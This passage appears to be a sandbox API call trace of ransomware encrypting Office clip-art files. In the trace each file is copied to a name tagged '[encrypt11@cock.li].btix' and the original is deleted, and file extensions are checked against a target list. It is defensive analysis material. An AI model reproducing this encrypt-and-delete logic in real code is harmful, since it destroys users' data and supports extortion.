lpNewFilePointer=0x0) returned 1 [0148.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0148.542] GetLastError () returned 0x0 [0148.542] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x375e, lpOverlapped=0x0) returned 1 [0148.543] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x3760, lpOverlapped=0x0) returned 1 [0148.544] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.544] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.544] SetEndOfFile (hFile=0x390) returned 1 [0148.544] CloseHandle (hObject=0x390) returned 1 [0148.544] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.544] SetEndOfFile (hFile=0x38c) returned 1 [0148.545] CloseHandle (hObject=0x38c) returned 1 [0148.545] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.545] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf")) returned 1 [0148.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0148.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0148.546] lstrlenW (lpString=".doc") returned 4 [0148.546] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.546] lstrlenW (lpString=".docx") returned 5 [0148.546] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0148.546] lstrlenW (lpString=".pdf") returned 4 [0148.546] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.546] lstrlenW (lpString=".xls") returned 4 [0148.546] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.546] lstrlenW (lpString=".xlsx") returned 5 [0148.546] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0148.546] lstrlenW (lpString=".ppt") returned 4 [0148.546] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0148.546] lstrlenW (lpString=".zip") returned 4 [0148.546] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.546] lstrlenW (lpString=".rar") returned 4 [0148.546] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.546] lstrlenW (lpString=".bz2") returned 4 [0148.546] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.546] lstrlenW (lpString=".7z") returned 3 [0148.546] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0148.546] lstrlenW (lpString=".dbf") returned 4 [0148.546] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0148.546] lstrlenW (lpString=".1cd") returned 4 [0148.546] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0148.547] lstrlenW (lpString=".jpg") returned 4 [0148.547] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0148.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0148.547] lstrlenW (lpString=".doc") returned 4 [0148.547] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.547] lstrlenW (lpString=".docx") returned 5 [0148.547] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0148.547] lstrlenW (lpString=".pdf") returned 4 [0148.547] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.547] lstrlenW (lpString=".xls") returned 4 [0148.547] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.547] lstrlenW (lpString=".xlsx") returned 5 [0148.547] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0148.547] lstrlenW (lpString=".ppt") returned 4 [0148.547] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0148.547] lstrlenW (lpString=".zip") returned 4 [0148.547] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.547] lstrlenW (lpString=".rar") returned 4 [0148.547] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.547] lstrlenW (lpString=".bz2") returned 4 [0148.547] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.547] lstrlenW (lpString=".7z") returned 3 [0148.547] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0148.547] lstrlenW (lpString=".dbf") returned 4 [0148.547] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0148.547] lstrlenW (lpString=".1cd") returned 4 [0148.547] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0148.547] lstrlenW (lpString=".jpg") returned 4 [0148.547] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.548] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.548] lstrlenW (lpString="J0089945.WMF") returned 12 [0148.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0148.548] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=19898) returned 1 [0148.548] CloseHandle (hObject=0x38c) returned 1 [0148.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf")) returned 0x220 [0148.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0148.548] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.548] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0148.549] GetLastError () returned 0x0 [0148.549] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x4dba, lpOverlapped=0x0) returned 1 [0148.946] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x4dc0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x4dc0, lpOverlapped=0x0) returned 1 [0148.947] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.947] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.948] SetEndOfFile (hFile=0x390) returned 1 [0148.948] CloseHandle (hObject=0x390) returned 1 [0148.948] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.948] SetEndOfFile (hFile=0x38c) returned 1 [0148.949] CloseHandle (hObject=0x38c) returned 1 [0148.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.949] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf")) returned 1 [0148.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0148.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0148.949] lstrlenW (lpString=".doc") returned 4 [0148.949] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.949] lstrlenW (lpString=".docx") returned 5 [0148.949] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0148.949] lstrlenW (lpString=".pdf") returned 4 [0148.949] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.949] lstrlenW (lpString=".xls") returned 4 [0148.949] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.949] lstrlenW (lpString=".xlsx") returned 5 [0148.949] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0148.949] lstrlenW (lpString=".ppt") returned 4 [0148.950] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0148.950] lstrlenW (lpString=".zip") returned 4 [0148.950] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.950] lstrlenW (lpString=".rar") returned 4 [0148.950] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.950] lstrlenW (lpString=".bz2") returned 4 [0148.950] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.950] lstrlenW (lpString=".7z") returned 3 [0148.950] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0148.950] lstrlenW (lpString=".dbf") returned 4 [0148.950] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0148.950] lstrlenW (lpString=".1cd") returned 4 [0148.950] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0148.950] lstrlenW (lpString=".jpg") returned 4 [0148.950] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0148.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0148.950] lstrlenW (lpString=".doc") returned 4 [0148.950] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.950] lstrlenW (lpString=".docx") returned 5 [0148.950] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0148.950] lstrlenW (lpString=".pdf") returned 4 [0148.950] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.950] lstrlenW (lpString=".xls") returned 4 [0148.950] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.950] lstrlenW (lpString=".xlsx") returned 5 [0148.950] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0148.950] lstrlenW (lpString=".ppt") returned 4 [0148.950] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0148.951] lstrlenW (lpString=".zip") returned 4 [0148.951] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.951] lstrlenW (lpString=".rar") returned 4 [0148.951] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.951] lstrlenW (lpString=".bz2") returned 4 [0148.951] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.951] lstrlenW (lpString=".7z") returned 3 [0148.951] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0148.951] lstrlenW (lpString=".dbf") returned 4 [0148.951] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0148.951] lstrlenW (lpString=".1cd") returned 4 [0148.951] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0148.951] lstrlenW (lpString=".jpg") returned 4 [0148.951] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.951] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0148.951] lstrlenW (lpString="J0099147.JPG") returned 12 [0148.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0148.951] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=24377) returned 1 [0148.951] CloseHandle (hObject=0x38c) returned 1 [0148.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg")) returned 0x220 [0148.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0148.952] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.952] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0148.952] GetLastError () returned 0x0 [0148.952] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x5f39, lpOverlapped=0x0) returned 1 [0148.953] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x5f40, lpOverlapped=0x0) returned 1 [0148.955] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.955] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.955] SetEndOfFile (hFile=0x390) returned 1 [0148.955] CloseHandle (hObject=0x390) returned 1 [0148.955] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.955] SetEndOfFile (hFile=0x38c) returned 1 [0148.956] CloseHandle (hObject=0x38c) returned 1 [0148.956] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.956] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg")) returned 1 [0148.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0148.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0148.957] lstrlenW (lpString=".doc") returned 4 [0148.957] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0148.957] lstrlenW (lpString=".docx") returned 5 [0148.957] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0148.957] lstrlenW (lpString=".pdf") returned 4 [0148.957] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0148.957] lstrlenW (lpString=".xls") returned 4 [0148.957] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0148.957] lstrlenW (lpString=".xlsx") returned 5 [0148.957] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0148.957] lstrlenW (lpString=".ppt") returned 4 [0148.957] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0148.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0148.957] lstrlenW (lpString=".zip") returned 4 [0148.957] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0148.957] lstrlenW (lpString=".rar") returned 4 [0148.957] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0148.957] lstrlenW (lpString=".bz2") returned 4 [0148.957] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0148.957] lstrlenW (lpString=".7z") returned 3 [0148.957] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0148.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0148.957] lstrlenW (lpString=".dbf") returned 4 [0148.957] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0148.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0148.957] lstrlenW (lpString=".1cd") returned 4 [0148.957] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0148.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0148.957] lstrlenW (lpString=".jpg") returned 4 [0148.957] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0148.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0148.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0148.958] lstrlenW (lpString=".doc") returned 4 [0148.958] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0148.958] lstrlenW (lpString=".docx") returned 5 [0148.958] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0148.958] lstrlenW (lpString=".pdf") returned 4 [0148.958] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0148.958] lstrlenW (lpString=".xls") returned 4 [0148.958] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0148.958] lstrlenW (lpString=".xlsx") returned 5 [0148.958] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0148.958] lstrlenW (lpString=".ppt") returned 4 [0148.958] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0148.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0148.958] lstrlenW (lpString=".zip") returned 4 [0148.958] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0148.958] lstrlenW (lpString=".rar") returned 4 [0148.958] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0148.958] lstrlenW (lpString=".bz2") returned 4 [0148.958] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0148.958] lstrlenW (lpString=".7z") returned 3 [0148.958] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0148.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0148.958] lstrlenW (lpString=".dbf") returned 4 [0148.958] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0148.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0148.958] lstrlenW (lpString=".1cd") returned 4 [0148.958] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0148.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0148.958] lstrlenW (lpString=".jpg") returned 4 [0148.958] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0148.959] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0148.959] lstrlenW (lpString="J0099148.JPG") returned 12 [0148.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0148.959] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=18258) returned 1 [0148.959] CloseHandle (hObject=0x38c) returned 1 [0148.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg")) returned 0x220 [0148.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0148.959] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.959] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0148.960] GetLastError () returned 0x0 [0148.960] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 